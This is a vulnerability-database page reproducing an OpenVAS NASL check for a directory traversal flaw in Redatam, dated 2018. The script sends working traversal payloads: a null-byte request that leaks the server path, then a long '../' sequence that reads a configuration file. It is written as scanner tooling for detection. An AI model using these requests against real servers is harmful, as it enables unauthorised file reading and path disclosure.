Lucene search
+L

Redatam Directory Traversal Vulnerability

🗓️ 19 Jun 2018 00:00:00Reported by Copyright (C) 2018 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 11 Views

Redatam Directory Traversal Vulnerability. Vulnerable to directory traversal allowing path disclosure

Refs
Code
# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:redatam:redatam";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.141197");
  script_version("2025-03-20T05:38:32+0000");
  script_tag(name:"last_modification", value:"2025-03-20 05:38:32 +0000 (Thu, 20 Mar 2025)");
  script_tag(name:"creation_date", value:"2018-06-19 13:19:44 +0700 (Tue, 19 Jun 2018)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Redatam Directory Traversal Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2018 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_redatam_detect.nasl");
  script_mandatory_keys("redatam/installed");

  script_tag(name:"summary", value:"Redatam is prone to a directory traversal vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"solution", value:"Update to version 7 or later.");

  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/44905/");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
  exit(0);

# path disclosure
req = http_get(port: port, item: "/redbin/rpwebutilities.exe/text?LFN=dfasff%00.htm&TYPE=TMP");
res = http_keepalive_send_recv(port: port, data: req);

path = eregmatch(pattern: "File not found in folder \[[^\]+([^]]+)", string: res);
if (isnull(path[1]))
  exit(0);

path = str_replace(string: path[1], find: '\\', replace: "/");

url = "/redbin/rpwebutilities.exe/text?LFN=../../../../../../../../../../../../../../../.." + path +
      "prt/webservermain.inl%00.htm&TYPE=TMP";

if (http_vuln_check(port: port, url: url, pattern: "PORTALTITLE=", check_header: TRUE, debug: FALSE)) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Mar 2025 00:00Current
7.2High risk
Vulners AI Score7.2
11